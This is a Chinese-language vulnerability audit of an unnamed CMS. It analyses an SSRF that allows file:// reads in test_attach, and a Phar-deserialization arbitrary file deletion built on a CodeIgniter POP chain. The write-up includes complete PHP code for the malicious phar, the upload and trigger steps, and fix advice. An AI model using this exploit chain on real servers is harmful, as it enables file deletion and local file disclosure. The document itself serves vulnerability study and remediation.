记一次某CMS反序列化任意文件删除的审计过程
字数 1149 2025-08-22 18:37:22
某CMS反序列化任意文件删除漏洞分析与利用
漏洞概述
本文详细分析某CMS系统中存在的两个安全漏洞:SSRF漏洞和通过Phar反序列化实现的任意文件删除漏洞。这两个漏洞都存在于系统的API处理模块中,攻击者可以利用这些漏洞进行服务器端请求伪造和任意文件删除操作。
第一部分:SSRF漏洞分析
漏洞位置
漏洞存在于/Fms/Control/Admin/Api.php文件中的test_attach方法。
漏洞原理
- 问题代码:
public function test_attach() {
$data = \Phpcmf\Service::L('input')->post('data');
// ...
elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) {
$this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
}
// ...
}
- 漏洞点:
dr_catcher_data()函数处理用户提供的URL参数- 没有对输入URL进行协议限制和过滤
- 允许使用
file://协议读取本地文件
- 利用方式:
- 攻击者可以构造
file://协议URL读取服务器本地文件 - 也可以构造内部网络请求探测内网服务
修复建议
- 限制URL协议只允许
http://和https:// - 对输入URL进行白名单验证
- 禁止访问内网IP地址
第二部分:Phar反序列化任意文件删除漏洞
漏洞背景
PHP的Phar扩展可以将多个文件打包成一个归档文件,并支持存储序列化的元数据。当使用phar://协议访问文件时,PHP会自动反序列化存储的元数据,这可能导致对象注入攻击。
漏洞位置
漏洞存在于多个API方法中,特别是test_attach_domain方法。
漏洞利用链分析
POP链构造
- 第一链(失败):
Publisher::__construct() -> helper(['filesystem'])
-> Publisher::__destruct() -> wipeDirectory()
-> delete_files()
失败原因:delete_files()函数不存在
- 成功利用链:
RedisHandler::__destruct()
-> MemcachedHandler::close()
-> FileHandler::delete()
详细分析
- RedisHandler类:
public function __destruct() {
if (isset($this->redis)) {
$this->redis->close();
}
}
- MemcachedHandler类:
public function close(): bool {
if (isset($this->memcached)) {
if (isset($this->lockKey)) {
$this->memcached->delete($this->lockKey);
}
// ...
}
}
- FileHandler类:
public function delete(string $key) {
$key = static::validateKey($key, $this->prefix);
return is_file($this->path . $key) && unlink($this->path . $key);
}
漏洞利用步骤
- 构造恶意Phar文件:
<?php
namespace CodeIgniter\Cache\Handlers;
class FileHandler {
public $prefix = '';
public $path = '';
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler {
public $lockKey = "D:\\path\\to\\delete.txt";
public $memcached;
public function __construct() {
$this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler();
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler {
public $redis;
public function __construct() {
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler();
}
}
$o = new RedisHandler();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
- 上传Phar文件:
- 通过系统附件上传功能上传构造的Phar文件
- 注意修改文件后缀以绕过上传限制
- 触发反序列化:
- 访问
test_attach_domain接口 - 在"附件上传目录"参数中输入
phar://path/to/uploaded.phar/test.txt - 系统会解析Phar文件并触发反序列化
- 文件删除:
- 反序列化过程会执行完整的POP链
- 最终调用
unlink()删除$lockKey指定的文件
修复建议
- 禁用
phar://协议或对使用该协议的文件进行严格检查 - 对反序列化操作进行限制,只允许反序列化可信数据
- 实现对象签名机制,确保反序列化的对象未被篡改
- 更新使用的第三方库,修复已知的反序列化漏洞
总结
本文详细分析了某CMS系统中存在的两个高危漏洞:SSRF漏洞和Phar反序列化导致的任意文件删除漏洞。通过深入分析漏洞原理和利用方式,我们可以更好地理解这类安全问题的成因和危害。开发人员应当重视输入验证和安全编码实践,避免类似漏洞的出现。